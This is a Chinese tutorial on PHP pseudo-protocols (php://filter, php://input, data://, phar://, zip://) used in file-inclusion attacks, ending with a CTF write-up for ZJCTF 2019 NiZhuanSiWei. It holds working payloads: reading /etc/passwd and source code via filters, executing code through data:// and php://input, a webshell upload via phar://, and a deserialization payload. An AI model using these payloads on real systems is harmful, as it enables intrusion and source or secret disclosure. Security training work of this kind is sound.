伪协议php(总结和缝合)
分类:
1 | php:// — 访问各个输入/输出流(I/O streams) |
PHP.ini(配置文件)
在php.ini里有两个重要的参数allow_url_fopen和allow_url_include
allow_url_fopen:默认值是ON,允许url里的封装协议访问文件
allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件
file:
用于访问本地文件,不受allow_url_fopen,file://
还经常和curl函数(SSRF)结合在一起,受allow_url_include影响
file://主要用于访问文件(绝对路径和网络路径)
比如:
url?file=file:///etc/password
php://:
在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
php://作用为访问输出和输入
php://filter
经常使用的伪协议,一般用于任意文件读取,有时也可以用于getshell.在双OFF的情况下也可以使用.
php://filter是一种元封装器,用于数据流打开时筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用。类似readfile()、file()、file_get_contents(),在数据流读取之前没有机会使用其他过滤器。
读取源代码并进行编码然后输出
比如:
url?cmd=php://filter/read=convert.base64-encode/resource=文件名(php文件需要用base64编码)
1 | php://filter/convert.base64-[encode/decode]/resource=xxx |
这是使用的过滤器是convert.base64-encode.它的作用就是读取文件的内容进行base64编码后输出。可以用于读取程序源代码经过base64编码后的数据
说明:
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
1 | php://filter/[read/write]=string.[rot13/strip_tags/…..]/resource=xxx |
filter和string过滤器连用可以对字符串进行过滤。filter的read和write参数有不同的应用场景。read用于include()和file_get_contents(),write用于file_put_contents()中
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
需要开启allow_url_include
执行post数据中的代码:
比如:
url?cmd=php://input
post数据:
注意:
当enctype=”multipart/form-data”的时候,php://input是无效的
data://
当php>=5.2.0,可以使用data://,来传递相应格式的数据。通常用来执行php代码。一般用base64编码传输,需满足allow_url_fopen
,allow_url_include
同时开启才能使用
比如:
通过data://text/plain协议来进行漏洞利用
data://text/plain;base64,base编码字符串
很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入
1 | file.php?file=data://text/plain,<?php phpinfo()?> |
phar://
PHP 归档,常常跟文件包含,文件上传结合着考察。说通俗点就是php解压缩包的一个函数,解压的压缩包与后缀无关。
1 | phar://test.[zip/jpg/png…]/file.txt |
其实可以将任意后缀名的文件(必须要有后缀名),只要是zip格式压缩的,都可以进行解压,因此上面可以改为phar://test.test/file.txt也可以运行。
当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用
1 | nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php |
zip://,bzip2://, zlib://
在双OFF的时候也可以用,
1 | zip://test.zip%23file.txt |
和phar://一样用于读取压缩文件,不过对于”zip://test.zip#file.txt”中的”#”要编码为”%23”.因为url的#后的内容不会被传送
zip://:
1 | file.php?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] |
bzip2://:
1 | file.php?file=compress.bzip2://nac.bz2 |
zlib://:
1 | file.php?file=compress.zlib://file.gz |
例子:
[ZJCTF 2019]NiZhuanSiWei
1 | <?php |
代码让我们get传参text,file,password
经过观察可以确定text要传入一个文件,且文件内容为:welcome to the zjctf,file传入一个文件名。然后通过include($file)包含,password暂且不知
伪协议第一次利用:
1 | if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")) |
这里需要我们传入一个文件且其内容为welcome to the zjctf
,才可以进入判断进行下一步
由于:在官方手册中file_get_contents()是用来将文件的内容读入到一个字符串中的首选方法
官方实例:
1 | echo file_get_contents('http://www.xxx.com/aa.png', 'r'); |
可以发现,file_get_contents的$filename参数不仅仅可以是本地文件路径,也可以是一个网络路径即url,所以我们可以考虑使用伪协议
- 姿势一:
data://
协议利用1
2text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
// d2VsY29tZSB0byB0aGUgempjdGY= 解码后为 -----> welcome to the zjctf - 姿势二:
php://
协议利用
php://input
1 | url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=php://input |
伪协议第二次利用:
1 | $file = $_GET["file"]; |
这里把flag给过滤了,肯定不是直接包含
注释里有一个useless.php,打开看下,但直接访问是不能打开的,尝试用伪协议php://filter
?file=php://filter/read=convert.base64-encode/resource=useless.php
这里顺便把前面的第一个判断用data协议绕过,进入判断语句中
所以payload:
1 | text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php |
能得到useless.php的base64编码内容
解码后得到
1 | <?php |
这一段代码的意思是:获取这个$file
参数代表的文件并且输出出来,注意前者的file参数和这里flag类的file参数并不一样,两者位于不同的作用域!
根据注释提示我们应该是要包含flag.php就可以获得flag,所以Flag类中的file应该为flag.php,再加上前面如果包含了useless.php,整体代码就为如下
1 | <?php |
在$password = unserialize($password);
中,unserialize()
函数是一个反序列化函数。不熟悉序列化与反序列化的可以百度一下。
若我们将一个序列化后的对象即一串字符串传给$password
,那么我们会得到一个实例对象,我们便不难想象,若是我们将一个useless.php
中的Flag对象(其中$file
参数的值为flag.php
)序列化后得到的字符串传给$password参数,经过反序列化后变变成了一个实例对象,一句可执行的代码,且能输出flag.php
中的代码
构造类:
1 | <?php |
所以payload
1 | ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
到这里整理下思路:
- 首先,利用data伪协议,text参数便可以绕过
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
,顺利进入判断语句内 - 然后,包含了
useless.php
文件,从而在原代码中引入了Flag
对象,只有如此,在password
参数反序列化才可输出flag.php
文件的内容 - 传入的
password
参数经过反序列化后,得到一个$file=flag.php
的Flag对象,同时执行了该Flag对象内部的__tostring()
方法,输出flag.php
的内容,从而得到flag
注意:需要查看网页源代码方可见到flag
文件包含是否支持%00截断取决于:
1 | PHP版本<=5.2 可以使用%00进行截断。 |
参考文章: